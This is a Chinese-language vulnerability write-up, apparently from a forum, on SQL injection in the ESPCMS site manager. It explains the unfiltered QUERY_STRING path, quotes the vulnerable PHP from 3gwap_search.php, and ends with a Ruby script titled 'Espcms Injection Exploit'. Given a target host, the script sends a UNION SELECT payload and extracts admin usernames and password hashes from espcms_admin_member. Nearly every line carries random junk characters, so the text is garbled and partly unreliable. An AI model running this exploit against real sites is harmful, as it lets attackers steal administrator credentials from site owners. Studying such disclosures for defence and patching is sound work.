0×0 漏洞概述0×1 漏洞细节
& C6 d5 M( d/ }, e0×2 PoC/ s5 Q3 |/ H! r, E$ k: R
& \% ?7 j+ @, I. e( L
) D! c. P& V! {& K% s2 N
x! i4 y2 h4 o/ v- z$ T( `# B" H3 Y0×0 漏洞概述
2 o; z6 v1 f# ~- ]7 _, f/ R8 P
8 u; Z' P. [. Z& W# V0 R易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便,可以帮您迅速、轻松地构建起一个强大专业的企业网站。
' r& V* |& h; B9 K! }其在处理传入的参数时考虑不严谨导致SQL注入发生
. E6 R) |( t. x* O) R* o' X3 h6 D: e6 T) C9 G; d- H A5 m
3 r, o) y. z% N
0×1 漏洞细节
- @/ Q& u1 I* a q2 F8 M
% m* d; E& V* m; ~ a/ n3 l$ j变量的传递过程是$_SERVER['QUERY_STRING']->$urlcode->$output->$value->$db_where->$sql->mysql_query,整个过程无过滤导致了注入的发生。5 Z+ F, p- f/ R$ X
正因为变量是从$_SERVER['QUERY_STRING']中去取的,所以正好避开了程序的过滤。
# W% c: _) D1 |$ ^9 x而注入的变量是数组的值,并非数组的key,所以也没过被过滤,综合起来形成了一个比较少见的SQL注入。
& a5 \, Q% E8 O2 G, S) j0 p$ M8 V% j9 F
. K8 p- X/ g3 k8 [+ x! o# y1 }; V在/interface/3gwap_search.php文件的in_result函数中:
, j4 Q& d9 R9 J& l( Y$ o( U" m2 C0 h( G, W, k+ c0 K; h
9 N6 Y; P* ^& K! K' n
5 t! I1 x& L* |. p$ { function in_result() {) G5 D) i& K% j3 w8 U- W8 M
... ... ... ... ... ... ... ... ...
! i; d! a) y- }- ?( h* t5 m $urlcode = $_SERVER[ 'QUERY_STRING '];
1 p, P) @5 z3 J% \ parse_str(html_entity_decode($urlcode), $output);
, ~. D7 o+ ?. E' Y
6 }7 q& {6 N2 j2 n+ r ... ... ... ... ... ... ... ... ...
$ J( o1 o( ~2 z+ a5 i5 y7 d' V4 R9 } if (is_array($output['attr' ]) && count($output['attr']) > 0) {7 V! I# S7 p/ I2 ?3 t4 ^
* S0 z; [, Y6 s1 f8 y $db_table = db_prefix . 'model_att';
! H+ a/ M0 W/ S+ o8 ~( g" h' _& K) W2 k' w
foreach ($output['attr' ] as $key => $value) {: E4 i+ S0 a; d" m' r
if ($value) {
; H9 K* x$ j8 X" V& n5 I. Y! S
9 s \: I1 t( Z- S$ F $key = addslashes($key);
G. T3 ]8 @! O& L $key = $this-> fun->inputcodetrim($key);. L" O8 a- b9 N( M- Y& | b
$db_att_where = " WHERE isclass=1 AND attrname='$key'";
+ T! p6 b, ?$ G7 } $countnum = $this->db_numrows($db_table, $db_att_where);$ c. |0 Z4 Y' X7 c0 ]6 O
if ($countnum > 0) {
; p+ T/ f* e3 L( A9 p1 f $db_where .= ' AND b.' . $key . '=\'' . $value . '\'' ;8 [4 H2 Y! u* y* l+ M9 h; J
}1 E1 g$ o1 L0 s; Q
}
; G& \2 P9 \0 O( ?) A) O: i }
% S! }2 e) W" R/ d- p }
5 B. H. F9 K( Y# H/ d, Y7 k if (!empty ($keyword) && empty($keyname)) {; s: C5 n( P1 \" J
$keyname = 'title';
) `0 Z- g, |, l$ {; ? $db_where.= " AND a.title like '%$keyword%'" ;
' e& A7 ~, T1 V7 J, n$ ~ } elseif (!empty ($keyword) && !empty($keyname)) {
5 n0 x E; t" V% O& v' j $db_where.= " AND $keyname like '% $keyword%'";
0 a S% t5 k+ s% m }! D0 l+ O5 G* \; v8 |& N
$pagemax = 15;: A3 {2 Z$ f2 p( i- y
, C, M+ s' a; V/ {+ \7 k9 O2 M $pagesylte = 1;
, i a6 t/ j( v, P/ Z/ A& y* c6 p: c5 [
if ($countnum > 0) {
, q3 {; f7 i- h7 b: L' V7 |
' [6 H7 f0 q8 K7 j+ f* F $numpage = ceil($countnum / $pagemax);/ p# z$ M# ?5 _0 G
} else {0 h* H! L- I) E1 Y! S* I: e' {
$numpage = 1;
5 x! j) r5 i: A9 G$ p }
9 x: ?$ m b8 a4 `# F0 ? $sql = "SELECT b.*,a.* FROM " . db_prefix . "document AS a LEFT JOIN " . db_prefix . "document_attr AS b ON a.did=b.did " . $db_where . ' LIMIT 0,' . $pagemax;; I- I2 v# l8 M3 M+ t; d
$this-> htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON ['file_fileex' ], 5, $this->lng['pagebotton' ], $this->lng['gopageurl'], 0);$ K( {! x& g# P* U0 Y$ E' T
$sql = $this-> htmlpage->PageSQL('a.did' , 'down' ); $rs = $this->db->query($sql);
. F5 Y' B; C u5 _* E. T* f2 w ... ... ... ... ... ... ... ... ...
0 `7 }. _) @, Y0 u" F# B }
& d0 T1 U) d0 @/ D2 H, ? I3 n8 d! B0 ?# \9 F
% l6 [3 k0 j, w- o/ c
0×2 PoC
* o& Q! B% m1 Y1 V. u+ G2 W* t/ a" ]
1 A; @; B* X2 W4 ^
! b# z, x1 c6 x! nrequire "net/http"* u* J# {! R2 {5 c
% K% s- U5 ?7 i& e' h3 h: f1 Udef request(method, url)7 n# a: T& y7 q1 w6 x3 F \
if method.eql?("get")
6 o I: g1 P! P L uri = URI.parse(url)4 Q) N2 u& _, X* ~" x5 \
http = Net::HTTP.new(uri.host, uri.port)
, m! R; `1 b+ ~, x# q0 z, U! W$ N response = http.request(Net::HTTP::Get.new(uri.request_uri))
3 P3 H, `7 M( c i' x return response5 l# H: y: O' F5 F7 X
end
8 | L4 W0 s# n" j. d. hend
% |4 f1 I1 s- C" c! F. r5 m
5 q/ [) d N- i' U$ S) Bdoc =<<HERE
7 N) d6 n/ i/ }5 G7 x' Q- O-------------------------------------------------------
4 y( H6 z) u* `$ n1 ^7 uEspcms Injection Exploit
0 l& ^! |9 ?8 J) @* V) K% SAuthor:ztz$ N6 D* O6 A% S- [3 t3 z
Blog:http://ztz.fuzzexp.org/; Y' r" Q. w0 V% ^9 A2 q
-------------------------------------------------------( Y. s; d3 I# Z, F$ G2 `0 i3 `
2 x. f: {5 P# }6 O2 d
HERE; o6 n; ?: F" @! j4 w: [0 [
! W6 u; D! q% D+ ^( v- S, w" ^
usage =<<HERE
; b) F/ x: R6 ]% ?Usage: ruby #{$0} host port path2 m" m, ^/ S; x) p1 J, [2 X
example: ruby #{$0} www.target.com 80 /# V* D' T" p7 H# B
HERE) c1 D( q$ T+ H8 I7 Z% D
, ?( x" l) d7 N, e
puts doc
( o# U$ ]. p. sif ARGV.length < 3
7 E* U, H* P0 v" @2 s# K puts usage
, m& ^! Q" d R. gelse: P- S. I1 U0 L9 i
$host = ARGV[0]& r3 q: N# m0 K4 @, i
$port = ARGV[1]. @" ~4 z4 C7 A' \- Q6 x
$path = ARGV[2]
6 M2 x1 q3 Y" w) g' q4 O1 j+ a, G. Z- U7 Z2 P
puts "send request..."4 f2 b# h- A4 |! I: t& W- u* X
url = "http://#{$host}:#{$port}#{$path}wap/index.php?ac=search&at=result&lng=cn&mid=3&tid=11&keyword=1&keyname=a.title&countnum=1&
) b1 N4 ]: V# E! |: H- {attr[jobnum]=1%27%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13
4 T8 D1 i% `! Y2 o! s+ X,14,15,16,17,18,19,20,21,22,23,24,25,concat%28username,CHAR%2838%29,password%29,27: p# T4 M5 R( l/ E3 Q5 j
,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45%20from%20espcms_admin_member;%23") ^) a4 b( n; z6 t
response = request("get", url)
) h* E N$ m, n; m result = response.body.scan(/\w+&\w{32}/)9 G8 x9 i6 a* P p1 \
puts result
" U/ @$ o7 `& O0 o* J3 Y5 eend
e/ l7 s' |% j5 r
; I; G" c% y; x6 i2 h- ]4 r |